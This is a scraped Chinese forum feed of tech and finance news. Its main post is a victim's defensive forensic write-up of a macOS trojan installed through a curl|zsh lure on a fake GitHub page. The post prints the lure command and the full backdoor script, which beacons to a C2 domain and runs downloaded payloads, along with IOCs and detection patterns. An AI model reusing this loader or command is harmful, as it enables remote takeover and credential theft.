单日下跌31.5%，佬友们都得到赔偿了吗？ 4 个帖子 - 3 位参与者 阅读完整话题
IT之家 4 月 15 日消息，这次 Rockstar Games（R 星）的泄密事件，似乎并未达到黑客的预期。黑客曾为窃取的数据索要 20 万美元赎金，在无人支付后便将数据免费公开，而这些数据恰恰暴露了 R 星及其母公司 Take-Two Interactive 从《侠盗猎车手》《荒野大镖客》等系列 IP 中赚取了何等巨额利润。 就在泄露数据公开后的第二天，R 星母公司 Take-Two Interactive 的市值反而进一步上涨。 IT之家注意到，当地时间周二开盘时，Take-Two 市值为 380.3 亿美元，股价约为每股 202.26 美元。截至美国东部时间上午 11:45，股价上涨 2.63%，达到每股 206.66 美元，这一波上涨让公司总市值增加了约 10 亿美元。收盘时，Take-Two 股价为每股 205.10 美元，上涨 1.86%。 目前，相比其 52 周高点 264.79 美元，Take-Two 股价仍下跌近 25%。但在当前不稳定的经济环境下，投资者看到原本无法获知的内部信息后，股价反而走高，这无疑让他们信心大增。此外，当前股价也比今年 2 月公司发布最新财报时创下的 52 周低点 187.63 美元高出近 20 美元。
最近连遭几起账户泄露事件，某几个网站两天没登莫名被禁言，账户还有一些非我操作的痕迹，某网站还看到了非我活动的ip。 诸位佬是如何舒服管理密码的，目前我就是bitwarden 13 个帖子 - 11 位参与者 阅读完整话题
病毒入侵了我的 Mac：一次 curl | zsh 诱导安装事件的完整取证复盘 本周六我在在开发mac 清理程序对标产品时 ，谷歌检索了关键字【macclean】谷歌搜索排行第一位是木马git，是的你没听错，一个没有star没有程序、只有一个Readme.md 的项目出现在谷歌搜索第一位，可能是最近几天太劳累了【眼皮已经跳了3天】，我竟然执行了他的curl、竟然给了root 密码，然后它提示我当前设备不支持，就立刻关闭了mac终端，我册那我瞬间来了精神。等我回头研究这个git时我后悔莫及。空项目！是的我刚才说的只有一个readme的空组织项目。完蛋，我中毒了 1、我是用grok4.2 搜索 发现是木马 我又用qwen 3.6 再次确认是木马，给我清理意见 和命令 。最开始他们都推荐我安装了 malwarebytes，这次 malwarebytes 让我很失望，它没揪出木马，是的你没听错，malwarebytes没杀出！ 2、我开始用Cli qwen3.6查杀，给了root 权限，没找到任何不安全的（垃圾） 3、我开始用GPT 5.4 high root 查杀，经过一会，gpt 就找到了它的伪装 、它伪装为谷歌更新程序、藏的很深，我立刻干掉了它，后续分析已经泄漏的信息，这个病毒实在太厉害了后面我会介绍 下面是基于本机证据整理的技术复盘帖。**【AI整理的】**文中个人邮箱、账号、服务账号、密钥名等信息均已脱敏；恶意域名、样本路径、IOC、哈希、攻击行为保留原样，方便安全同行和普通用户做识别与排查。 截止发帖木马的Github组织已被注销、感谢GIT CF已经受理木马钓鱼投诉 0. 先说结论 这不是“装了一个不靠谱清理软件”，而是一次真实的恶意脚本执行事件。 核心恶意行为 设备指纹采集 + C2 注册 ：每次运行都会把你的机器唯一标识、IP、系统版本上报给 pewqpeee888.com 。 动态 payload 执行 ：服务器可以随时下发任意 base64 编码的 shell 命令（ /tmp/.c.sh ），实现 远程控制 、下载下一阶段恶意软件、窃取数据等。 高度隐蔽 ： 所有临时文件都在 /tmp/ 并立即删除； 无任何输出（silent）； 通常与 LaunchAgent（ com.google.keystone.agent.plist ）结合，每 60 秒自动运行一次（伪装成 GoogleUpdate）。 所属攻击链 ：常见感染方式是用户在破解软件站（如 appstorrent.org ）下载“安装脚本”，或点击 ClickFix 诈骗页面，被诱导在 Terminal 粘贴命令，最终植入这个脚本。 完整恶意软件通常还会做的事（后续 payload） 窃取浏览器 cookies、密码、Keychain、Telegram 会话、桌面钱包（MetaMask 等）； 注入/篡改 Exodus、Atomic、Ledger 等加密货币钱包（替换 .asar 文件）； 收集文档、SSH 密钥、AWS 凭证等； 把数据打包上传到 C2 的 /gate 接口； 持久化 + 远程后门，可持续接收新指令。 攻击链大致如下： 我在 Google 搜 macclean 点进一个 GitHub 组织页： https://github.com/MacClean-App-Mac 被引导执行一条伪装成 GitHub 下载命令的 curl | zsh 脚本通过 osascript 触发系统风格授权/密码弹窗 在用户目录写入伪装成 Google 更新器的持久化组件 每 60 秒向 C2 回连并接收二阶段 payload 二阶段代码写入 /tmp/.c.sh 执行后删除 当前能确认的状态是： 已确认中招 已确认建立过用户级持久化 已确认具备动态拉取并执行二阶段代码的能力 已清除已发现持久化 未发现新的系统级 LaunchDaemon / PrivilegedHelperTools 但浏览器会话、SSH key、云凭据、API key 必须按“可能泄露”处理 还有一句必须放在最前面： 小白不要安装它。 小白不要安装它。 小白不要安装它。 尤其是这种搜索引擎搜出来、GitHub 页面包装得很像回事、最后却让你去复制终端命令的东西，碰到 curl | sh 、 curl | zsh ，就该立刻停手。 1. 事件背景：入口是一个伪装得很像样的 GitHub 页 事情的入口非常典型，也非常有迷惑性。 我在 Google 搜索 macclean ，结果页里看到了一个 GitHub 组织页： https://github.com/MacClean-App-Mac 这个页面的表面包装几乎就是为普通用户量身定制的： 组织名看起来像软件分发页 README 写着“清理垃圾、优化系统、释放空间、提升速度” 页面里有截图、有系统要求、有功能列表 还挂了一个外链入口，进一步制造“这是正常下载流程”的假象 如果只看页面表象，它很像一个“非官方但民间可用的 Mac 清理工具分发页”。问题在于，后续真正执行到本机的东西，并不是“下载一个可验证的安装包”，而是一条远端脚本直执行链。 这也是为什么我后来会把这次事件定义成： 不是误装垃圾软件，而是被社工包装诱导执行了一条远端 shell 链。 2. 原始触发命令：表面写着 GitHub，实际跑的是恶意域名 后面最关键的第一步，是从 shell 会话恢复文件中找回那条真正执行过的命令。执行时间是： 2026-04-12 10:28:36 CST 恢复到的原始命令如下： 不要碰不要碰不要碰不要碰不要碰 为了你们安全已经*** echo "Github App: https://github.io/downloads/macos-apps/39131/" && curl -s $(echo "***0cHM6Ly9wZXdxcGVlZTg4OC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWM2YTNlYTEyM2Q5MGQzMTU3OWViYmQzMDMxYTUwY***" | base64 -d) | zsh 把其中的 base64 段解码之后，真实下载地址是： 不要碰不要碰不要碰不要碰不要碰 为了你们安全已经*** https://pewqpeee888.com/debug/loader.sh?build=***3ea123d90d31579ebbd3031a50*** 这里已经能看到三个非常典型的恶意特征： 2.1 展示文本与真实执行源不一致 命令前半段故意输出了一个像 GitHub 下载链接的字符串： Github App: https://github.io/downloads/macos-apps/39131/ 但这只是展示给用户看的“信任诱导文本”。 真正执行的下载源不是 GitHub，也不是官方软件站，而是： pewqpeee888.com 2.2 用 base64 藏真实地址 这不是高级免杀技术，但对小白很有效。因为大多数人看到一条终端命令时，不会去手动把中间一段 base64 -d 的内容解出来确认真实目标。 2.3 用 curl | zsh 直接解释执行 这是最危险的一点。 curl | zsh 的本质是： 远端服务器返回什么，本地 shell 就执行什么 没有下载后审查 没有签名校验 没有安装包完整性核验 没有任何一步要求你真正看过载荷内容 也就是说，从攻击者视角看，我不是“安装了一个软件”，而是把我自己的 shell 交给了一个陌生服务器。 3. 为什么我会意识到不对劲 当时最直接的体感不是“系统报毒”，而是安装过程中出现了非常像系统正常行为的密码/授权弹窗，随后终端会话状态变得不正常。 后面回看证据，这个体感和日志是对得上的。 首先，那条恶意命令最后不是规规矩矩进入标准 shell 历史，而是出现在一个 .historynew 会话恢复文件里。这个现象通常意味着： 该会话没有正常退出 或者终端窗口/会话在执行链中被异常结束 其次，系统统一日志在对应时间窗口里出现了 osascript 。这说明我看到的密码输入界面，更像是 AppleScript / SecurityAgent 拉起的系统授权对话框，而不是终端里普通的 sudo 提示。 这对普通用户的迷惑性极强，因为它会让人误以为： “哦，这是 macOS 正常弹出来的授权框，那应该是安装器在做正常事情。” 但事实证明，攻击链恰恰利用了这种心理预期。 4. 时间线：从点击到持久化建立，不到一分钟 根据 shell 会话、统一日志和落地文件时间，可以把这次事件的关键时间线还原到分钟级。 2026-04-12 10:28:36 CST 执行恶意命令。 2026-04-12 10:28:34 至 10:29:27 CST 统一日志中出现： curl osascript 与 launchctl 对应的行为 这说明一阶段脚本至少做了三类事： 访问远端 URL 借助 AppleScript/系统授权界面做交互 建立用户级持久化 2026-04-12 10:29:21 CST 恶意持久化文件被写入： ~/Library/LaunchAgents/com.google.keystone.agent.plist ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate 也就是说，从触发到持久化建立，整个过程只花了不到一分钟。 2026-04-12 11:12 CST 后 开始本地取证。 2026-04-12 11:26 CST 前 恶意持久化链删除完成。 2026-04-12 11:38 CST 前 gcloud 本机认证缓存清理并隔离完成。 2026-04-12 12:xx CST Chrome 本地网站登录态和 Google 账号同步痕迹清理完成。 5. 恶意样本落地分析：它伪装成了 Google 更新器 后面真正让我确认“这不是误报”的，是找到它在用户目录里的落地点。 5.1 持久化组件 1：LaunchAgent 落地路径： ~/Library/LaunchAgents/com.google.keystone.agent.plist 关键配置点如下： Label = com.google.keystone.agent ProgramArguments 指向 GoogleUpdate RunAtLoad = 1 StartInterval = 60 这几个字段一组合，含义就很明确了： 登录就跑一次 之后每 60 秒再拉起一次 不需要系统级权限，也能在当前用户会话里持续执行 这就是一个标准的用户级持久化点。 5.2 持久化组件 2：伪装脚本本体 落地路径： ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate 这条路径的命名非常阴： GoogleUpdate.app com.google.keystone.agent 它故意伪装成你在系统里见过很多年的 Google 更新机制，让用户和部分排查者第一眼更难起疑。 但静态检查结论很明确： 它不是正常 Google 更新器 未签名 不是标准 Mach-O 实体其实是一个 shell script 这一步把“看起来像系统组件”的壳彻底撕掉了。 5.3 样本哈希 已确认样本哈希如下： 恶意 plist SHA-256 4301eda0fe65826369917636efecbdb35335bace0d8a7c38886f6a9832944156 恶意脚本 SHA-256 c83c0271feaeb3a2f33711c0b7a1266705487c64ccb458ec795cfe02b2545b29 这些值适合用于后续 IOC 告警、样本归并和环境内回溯。 6. 样本脚本内容：它不是“采集点机器信息”，而是“远程命令执行器” 恢复出的恶意脚本主体如下： 不要碰不要碰不要碰不要碰不要碰 #!/bin/bash GATE_URL="https://pewqpeee888.com" BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}') BUILD_ID="***" BUILD_NAME="alv" HOSTNAME=$(hostname) IP=$(curl -s https://api.ipify.org 2>/dev/null || echo unknown) OS_VER=$(sw_vers -productVersion) RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" -H "Content-Type: application/json" -d '{"bot_id":"'"$BOT_ID"'","build_id":"'"$BUILD_ID"'","hostname":"'"$HOSTNAME"'","ip":"'"$IP"'","os_version":"'"$OS_VER"'"}') CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p') if [ -n "$CODE" ]; then echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh; rm -f /tmp/.c.sh fi 这段脚本可以拆成七个动作来看。 6.1 识别目标机器 它读取： IOPlatformUUID hostname sw_vers -productVersion 也就是机器唯一标识、主机名和 macOS 版本。 6.2 先去第三方服务确认公网出口 IP 它先请求： https://api.ipify.org 获取公网 IP，再把这个值塞进后续心跳数据。 6.3 向控制端注册主机 它会向： https://pewqpeee888.com/api/bot/heartbeat 发送包含以下字段的 JSON： { "bot_id": "<IOPlatformUUID>", "build_id": "***", "hostname": "<hostname>", "ip": "<public_ip>", "os_version": "<macOS_version>" } 6.4 从服务端取回二阶段代码 它不是把所有恶意逻辑都硬编码在本地，而是从服务端响应里提取一个字段： code 6.5 把二阶段代码解码到临时文件 返回的 code 被当成 base64 处理，并落到： /tmp/.c.sh 6.6 执行二阶段 payload 它会给 /tmp/.c.sh 加执行权限并直接运行。 6.7 执行后清理痕迹 最后执行： rm -f /tmp/.c.sh 把二阶段临时脚本删掉。 这套模型意味着一件非常重要的事： 本地样本只是一个接命令的壳，真正危险的能力边界由服务端实时决定。 所以不能因为恢复出来的脚本里“没看到键盘记录、没看到打包上传逻辑”，就误以为它做不到。它只是不把这些东西写死在本地而已。 7. 统一日志告诉了我什么：密码框不是“正常 sudo” 很多人中这种招，都是因为中间会出现一个“看起来特别像正常系统行为”的环节。 这次对应的证据点是： 2026-04-12 10:28:34 至 10:29:27 CST 统一日志出现 osascript 同时段可见与 curl 、 launchctl 一致的行为痕迹 这说明什么？ 说明这次我看到的密码/授权交互，很大概率不是“我在终端里执行了一个需要 sudo 的命令”，而是攻击链借 AppleScript 或系统授权界面做了一层包装。 从社工效果上讲，这比普通终端里的密码提示更有欺骗性，因为它会让用户感觉： 有系统样式 有密码框 看起来像在装软件 所以应该是正常流程 而攻击者正是靠这个心理落差，把“危险的远端 shell”伪装成了“正常的软件安装体验”。 8. 取证边界：我能确认什么，不能确认什么 这次复盘里，我最不想干的一件事，就是把所有猜测都写成事实。 所以这里必须严格划分三层边界。 8.1 已确认的 这些是本机证据能直接支持的： 恶意命令执行过 执行时间是 2026-04-12 10:28:36 CST 一阶段命令真实访问了 pewqpeee888.com 统一日志中出现 osascript 恶意持久化文件曾经落地成功 样本具备远程拉取二阶段代码并执行的能力 当前已发现持久化已清除 8.2 未发现的 这些方向目前没有看到证据： 新的 /Library/LaunchAgents 新的 /Library/LaunchDaemons 新的 /Library/PrivilegedHelperTools crontab 持久化 shell 启动项恶意追加 高价值目录在攻击时间窗内出现明显新写入 Chrome 扩展目录和关键偏好文件在攻击时间窗内被明显篡改 8.3 无法证明不存在的 这些事情现在不能写成“已发生”，但也绝对不能写成“没发生”： 浏览器 Cookie / 登录态被读取 SSH 私钥被复制 gcloud / GCP 凭据被复制 shell 环境变量中的 API key 被读取 邮件、聊天、本地客户端缓存被枚举 二阶段短时间执行了只留内存、不留磁盘痕迹的 payload 为什么？ 因为二阶段脚本 /tmp/.c.sh 是动态下发、执行后删除的。如果没有当时的网络抓包、内存镜像或服务端日志，就没法完整枚举它做过什么。 所以这类事件里最稳妥的态度从来不是“我没看到证据，那就当没事”，而是： 我没有证据证明它没读，所以这些凭据不能再继续信任。 9. 一个非常关键的新发现：宿主 Terminal 本身权限很高 后面最让我警惕的一点，不是样本脚本本身，而是它跑在哪个宿主里。 调查中确认： Terminal 至少对 Downloads 有授权 Terminal 很可能具备 Full Disk Access 这个结论意味着什么？ 意味着攻击面不能只按“一个普通用户态 shell 脚本能干什么”来估。 在 macOS 权限模型里，很多实际读取能力，会受到宿主应用已经拥有的权限影响。如果恶意链是从 Terminal 承载执行，而 Terminal 本来又被授予了比较高的访问能力，那么恶意链理论上能够读取的数据面会显著扩大。 这也是为什么我后来会把这次事件的危险性表述成： 它不只是一个用户态后门，而是一个很可能运行在高权限宿主里的用户态后门。 10. 它理论上最有可能碰到哪些数据 这部分是后续止血决策的核心。 10.1 浏览器会话：这是我最担心的 本机确认存在多个 Chrome profile，相关数据库和配置包括： Cookies Login Data Login Data For Account Account Web Data Preferences Secure Preferences Sync Data Login Data 的统计结果很扎眼： 总登录记录： 845 带密码密文字段记录： 802 至少涉及登录域： 588 这里必须把两件事分开说。 A. “密码数据库文件可能被复制” 这个风险很高。 原因很简单： Login Data 文件真实存在 当前用户对它可读 恶意脚本跑在当前用户上下文 宿主 Terminal 权限高 所以“直接把数据库文件复制走”，理论上是完全成立的。 B. “密码明文已经全部被导出” 这个目前没有硬证据。 原因是： Chrome 的 password_value 不是明文 在 macOS 上，解密往往还牵涉到 Keychain / 浏览器密钥机制 当前没有直接证据能证明它成功批量解出了明文密码 但从攻击实战角度看，我其实更担心的是 Cookie / Session Token，而不是明文密码。 因为对攻击者来说： 窃取活跃会话比解一堆密码更快 复用会话通常比撞密码更稳定 对受害者的实际危害更直接 所以这次我把 GitHub、Google、邮箱、OpenAI 这类站点全部按“会话可能暴露”处理。 10.2 SSH 私钥 本机确认存在： ~/.ssh/id_ed25519 ~/.ssh/id_ed25519_github ~/.ssh/id_ed25519_new 并且 ~/.ssh/config 中明确有 github.com 绑定的私钥。 这意味着： 如果二阶段只做读取而不改写，本地不一定留下明显文件痕迹 私钥即使设置了 passphrase，也仍然可能被复制 如果没设强 passphrase，风险更高 所以 SSH key 不能只看“文件有没有被改过”，必须按“文件内容是否可能已被读过”来处理。 10.3 GCP / gcloud 凭据 本机实际存在或曾存在： ~/.config/gcloud/*.json 这类东西一旦被复制，往往比浏览器登录态更稳定，因为： OAuth 缓存可能直接可用 Access token 即时价值高 Service account JSON 一旦外泄，危害时间通常更长 这也是我把 GCP / gcloud 止血放得非常靠前的原因。 10.4 Shell 环境变量和 rc 文件里的 API key 本机曾确认存在以下高价值变量名： ANTHROPIC_API_KEY LOCAL_API_KEY V_API_KEY GOOGLE_APPLICATION_CREDENTIALS 这类风险经常被低估。因为很多人会想： “它没有改我的配置文件，应该没事。” 但实际上，攻击者根本不一定需要改文件。它完全可以在当前 shell 上下文里直接读取环境变量，而这种读取未必留下任何文件层面的修改痕迹。 10.5 邮件、消息、本地 AI 客户端缓存、下载目录 如果 Terminal 的高权限在执行时有效，那么理论上高风险可读面还包括： ~/Library/Mail ~/Library/Messages ~/Library/Containers/com.apple.mail ~/Library/Application Support/Cursor ~/Library/Application Support/Codex ~/Library/Application Support/Qwen 下载目录中的 DMG / PDF / 文档 / 压缩包 桌面与文稿中的现成文件 这些内容不需要复杂木马，只要一个简单的文件搜索和上传脚本就足够了。 11. 本机处置过程：我不是只删了一个文件 技术处置上，我做的不是“删掉看起来可疑的 app 就结束”，而是分了三层。 11.1 先拆持久化 删除： ~/Library/LaunchAgents/com.google.keystone.agent.plist ~/Library/Application Support/Google/GoogleUpdate.app 这一步的目标是先把持续回连能力切断。 这里还有个值得记录的细节： 清理过程中， launchctl bootout 并不是每次都给出一个足够干净的结果。哪怕它报错，也不能因此误判“那就说明没生效”。只要文件还在磁盘上，下一次登录或再次 load 都可能复活。 所以对这种用户级 LaunchAgent ，最稳妥的方式始终是： 删除 plist 删除伪装目录本体 再复查是否还会重生 11.2 再切本地认证面 我把 gcloud 本地认证缓存整体移出并隔离到了： /Users/admin/.incident-backup/gcloud*.json 其中包括： application_default_credentials.json credentials.db access_tokens.db legacy_credentials/ 这样做的意义不是“这就安全了”，而是强制把本机回到一个必须重新登录/重新注入凭据的状态，先止血。 11.3 再处理浏览器本地会话和 Google 同步痕迹 Chrome 本机止血时，我做了两类清理： 清理网站登录态 清理本地 Google 账号和同步痕迹 被删除或清空的关键对象包括： Cookies Session Storage Sessions Local Storage IndexedDB Service Worker SharedStorage WebStorage File System Account Web Data Login Data For Account Sync Data Google Profile Picture.png Local State 及各 profile Preferences/Secure Preferences 中的账号字段 保留的对象包括： Login Data 书签 常规浏览器配置 相关本地备份放在： /Users/admin/.incident-backup/**** 这一步的目标不是“证明它没偷到”，而是让旧会话尽快失效，减少后续复用窗口。 12. 为什么“木马删掉了”不代表事情结束 这是这次事故里我最深的一个认知变化。 恶意程序删掉，只能说明： 已知持久化不再继续运行 当前没有看到继续驻留的证据 但它完全不能说明： 之前的浏览器会话仍然可信 之前的 SSH key 仍然可信 之前的云凭据仍然可信 之前落地在 shell 里的 API key 仍然可信 只要攻击者在某个时间窗口里拿到过“可以执行任意代码”的机会，而你又没有网络抓包、内存镜像和服务端日志，那么最稳妥的判断就只能是： 这段时间里暴露过的信任关系，必须重建。 13. 最后我处理了哪些凭据 收尾阶段，我不是停留在“系统看起来恢复正常”。 我做的是： 修改主要账号密码 让关键网站退出所有设备和会话 轮换 GitHub 相关 SSH key 轮换 API key 处理 Google / GCP 本地和远端授权 处理邮箱、GitHub、Google、OpenAI、Anthropic 等高价值入口 这里尤其要提醒一点： “改密码”不等于“踢掉旧会话”。 像 GitHub、Google、邮箱这类站点，如果你的 Cookie / Session Token 已经被拿走，只改密码有时并不能立刻让攻击者失去会话。必须做“退出所有设备/失效全部会话”的动作。 14. IOC 汇总 14.1 域名和 URL 不要碰 不要碰不要碰不要碰不要碰不要碰不要碰 为了你们安全已经*** pewqpeee888.com https://pewqpeee888.com/debug/loader.sh?build=c6a3ea123d90d31579ebbd***3031******* https://pewqpeee888.com/api/bot/heartbeat https://github.io/downloads/macos-apps/39131/ （伪装展示文本） 14.2 文件路径 ~/Library/LaunchAgents/com.google.keystone.agent.plist ~/Library/Application Support/Google/GoogleUpdate.app ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate /tmp/.c.sh 14.3 伪装标签 com.google.keystone.agent GoogleUpdate.app BUILD_NAME="alv" BUILD_ID="***" 14.4 文件哈希 4301eda0fe65826369917636efecbdb35335bace0d8a7c38886f6a9832944156 c83c0271feaeb3a2f33711c0b7a1266705487c64ccb458ec795cfe02b2545b29 15. 给其他用户的建议：这类坑以后怎么避 如果你不是做安全的，只记住下面几条就够了。 15.1 不要把 GitHub 页面等同于“可信安装源” GitHub 是代码托管平台，不是“看到 GitHub 页面就说明这个东西可信”。 你真正要信的是： 官方域名 官方签名安装包 可验证的发布页 明确的作者和历史 而不是“它看起来像个正常仓库页面”。 15.2 一看到 curl | sh / curl | zsh 就提高警觉 对普通用户来说，最简单的原则就是： 不要执行你自己没看过内容的远端 shell。 尤其是： 来源不是官方文档 页面是搜索引擎搜出来的 命令里还套了 base64 中间出现系统密码框 这种组合基本已经可以直接判高危。 15.3 日常浏览和高价值开发环境尽量分开 如果你的终端平时有较高权限，又同时拿它做日常网页登录、云平台操作、私钥管理、AI key 调试，那一旦中招，暴露面会被放大很多。 更稳妥的做法是： 开发环境与日常浏览分离 长期密钥不要明文放在 shell rc 文件里 定期审计 LaunchAgents 、登录项和浏览器会话 16. 给安全同行的建议：怎么“打它” 打不了CF 已经举报受理了 我这里说的“打它”，不是让人去反入侵，而是希望做防守、情报、EDR、邮件网关、DNS 安全、终端安全的人，把这类东西封得更快一点。 16.1 值得做 IOC 收录和回溯的点 pewqpeee888.com /debug/loader.sh /api/bot/heartbeat com.google.keystone.agent GoogleUpdate.app /tmp/.c.sh 16.2 值得做模式检索的命令形态 curl -s $(echo "<base64>" | base64 -d) | zsh 或者更泛化一点： curl | sh curl | zsh base64 包裹真实 URL 再交给 shell 用户目录 LaunchAgent 中指向伪装更新器路径的 ProgramArguments 16.3 值得告警的持久化形态 尤其建议对下面这类组合提高告警优先级： 用户目录 LaunchAgents RunAtLoad = 1 StartInterval = 60 名称伪装成常见厂商更新器 指向未签名脚本而非正常应用 16.4 值得同步到平台方的动作 向 GitHub 举报相关组织页和分发入口 向搜索引擎提交结果清洗请求 向域名注册商、托管商和安全厂商提交 IOC 把样本哈希、域名、URL、标签推给威胁情报库 如果这篇帖子能换来一条规则、一条情报、一次下架或者一次搜索结果下沉，那就已经比我单独清完机器更有价值了。 17. 最后的结论 这次事故真正让我后怕的，不是“我装了个脏软件”，而是： 它有一个足够像样的 GitHub 包装页 它用了一条足够像正常安装流程的命令 它借了一个足够像系统正常行为的密码框 它最终换来的，却是一个持续回连、动态下发命令的后门 如果只用一句话总结这次事件，我会写成： 攻击者没有靠复杂 0day 打进来，而是靠一条被包装得足够像“正常安装”的 curl | zsh ，骗我亲手把门打开了。 而 GPT-5.4 在这里真正起到的作用，不是“魔法式帮我杀毒”，而是把原始命令、统一日志、持久化落点、样本脚本、权限边界、风险面和后续处置，一层层钉在了证据上。 木马可以删掉，但已经暴露过的信任关系，必须重建。 上面是一堆AI软文 下面放一些截图 由于Github的投诉受理现在它已经被干掉了 CF 受理截图： 让我不理解的是既然CF 已经受理了为什么还可以TCP 由于周六GPT cli 排查的过于激烈没有保存cli 截图 ，事后有一些复盘报告，介于隐私没放 最后给各位佬的建议： 1、不要轻信git、google search 2、不要轻易给root 权限 3、截止发帖域名依旧可解析，不要碰它，有实力的佬可以弄它，注意小心中毒 再次说明小白不要碰它不要尝试去安装 你要知道我花了1天去改谷歌重要密码、ssh、oauth、不要尝试 4 个帖子 - 3 位参与者 阅读完整话题
根据多家媒体的报道，第二次枪击事件的详细情况整理如下： 事件发生在当地时间4月12日凌晨1点40分左右，地点是奥特曼位于旧金山的住所。袭击方式是一辆载有两人的车停在住所前，车内有人朝房屋方向开了一枪，随后驾车逃离。这次事件中无人受伤，对房屋的具体损坏情况目前没有详细报道。 警方行动非常迅速，通过追踪监控拍下的车牌号，很快就锁定了嫌疑人并将其逮捕。两名嫌疑人分别是25岁的阿曼达·汤姆和23岁的穆罕默德·侯赛因。目前他们均因涉嫌疏忽开枪被警方控制。 值得注意的是，这次枪击距离4月10日凌晨的首次燃烧瓶袭击事件只间隔了大约45小时45分钟。在第一次事件中，一名20岁男子向奥特曼住所投掷燃烧瓶烧毁了外门，该男子当场被捕，面临多项重罪指控。 旧金山警察局局长德里克·卢在表态中强调，警方对枪支犯罪极其严肃，并会将涉案人员在法律允许的最大范围内起诉。 sam住宅的监控录像截图（图源：《旧金山标准报》） 14 个帖子 - 9 位参与者 阅读完整话题
4 月 12 日，理想汽车 CEO 李想针对理想汽车被黑事件再发朋友圈。 李想表示，第一次被黑时，有些人劝他要成熟、要自我反省，“为什么只黑你不黑别人”。第二次被黑时，又有人建议“可以喊疼，但要控制好声音的分贝，要让打人的人舒服”。然后，就会有第三次、第四次和第 N 次。“其实，大家都爱你的成熟和隐忍。” 昨日，李想在朋友圈发布争议言论：“历史证明了，伪军往往比鬼子更操蛋，车企也不例外。” 随后，李想又发文称，最近某日系品牌大量雇佣“营销号” 对理想的产品进行“拉踩” ，并海量使用空白账号的“黑水军”，“捏造虚假信息”攻陷理想产品的评论区，严重影响了理想汽车的正常经营。 李想明确表示， 这属于反内卷规定中最恶劣的行为 ，一方面理想会使用法律手段维护自己的合法利益，另一方面也希望相关部门进行必要的管理，不能让不受管制的海外品牌破坏了汽车行业反内卷的良好成果和市场氛围。 晚间，李想在朋友圈发布了东风日产水军拉踩理想汽车的证据。贴图显示了全国各地的水军发布拉踩理想汽车的帖子，以及东风日产内部沟通群。
IT之家 4 月 12 日消息，R 星（Rockstar Games）证实其遭遇了新一轮数据泄露事件，此前有黑客组织宣称从《侠盗猎车手 6》开发商处获取了大量信息。 当地时间周六，曾攻击过微软、思科、AT&T 及票务网站 Ticketmaster 的黑客组织“闪亮猎手（ShinyHunters）”声称，他们通过企业用于追踪云成本的第三方分析平台 Anodot 入侵了 R 星系统。 据网络安全专家 The Cybersec Guru 披露，该组织留言称：“付钱，否则数据外泄。这是最后通牒，限 4 月 14 日前联系我们，否则我们将公开数据，同时还会给你们制造一系列棘手的网络问题。做出正确选择，别登上负面新闻头条。” R 星在声明中确认了此次泄露事件，并表示该事件“对公司及玩家均无任何影响”。 “我们可以证实，因第三方数据泄露事件，少量非核心公司信息遭访问，”一名发言人表示，“此次事件不会对公司运营及玩家造成任何影响。” “闪亮猎手”尚未透露所获取数据或文件的具体相关内容，但潜在泄露信息可能包括财务记录、营销方案、合同资料以及玩家消费数据。 不过，此次泄露事件难免让人想起 2022 年那起臭名昭著的黑客攻击，当时《侠盗猎车手 6》尚未正式公布，其早期游戏实机画面就已遭泄露。最终一名 18 岁涉案人员被英国法官定罪，并被送入安全精神病院接受监管。 IT之家注意到，过往案例中，“闪亮猎手”曾借助媒体报道向攻击目标施压，逼迫对方支付高额赎金。该组织此前还宣称对 2020 年微软源代码失窃案，以及泄露 2.7 亿用户数据的网文平台 Wattpad 黑客事件负责。 经历两次延期后，《侠盗猎车手 6》目前定档 2026 年 11 月 19 日发售。该游戏原计划 2025 年秋季推出，后推迟至 2026 年 5 月 26 日，随后 R 星又公布了最新的 11 月发售日期。
伴随各类事件催化进入密集兑现周期，不少基金经理开始切换布局创新药对冲组合风险。近一段时间，科技类QDII受多重外部因素扰动持续走弱，呈现盈利向好、估值便宜、股价大跌的割裂行情，基金持仓压力陡增。在此背景下，一众暂无营收、暂无利润、暂无传统估值可言的创新药公司，反而频频跻身基金重仓股名单，反映公募对创新药配置逻辑出现了新的变化。时间窗口对医药基金投资格外重要，多位明星基金经理也认为，2026年二季度正是板块投资黄金窗口期，选股也已梳理出清晰细节与主线方向。（证券时报）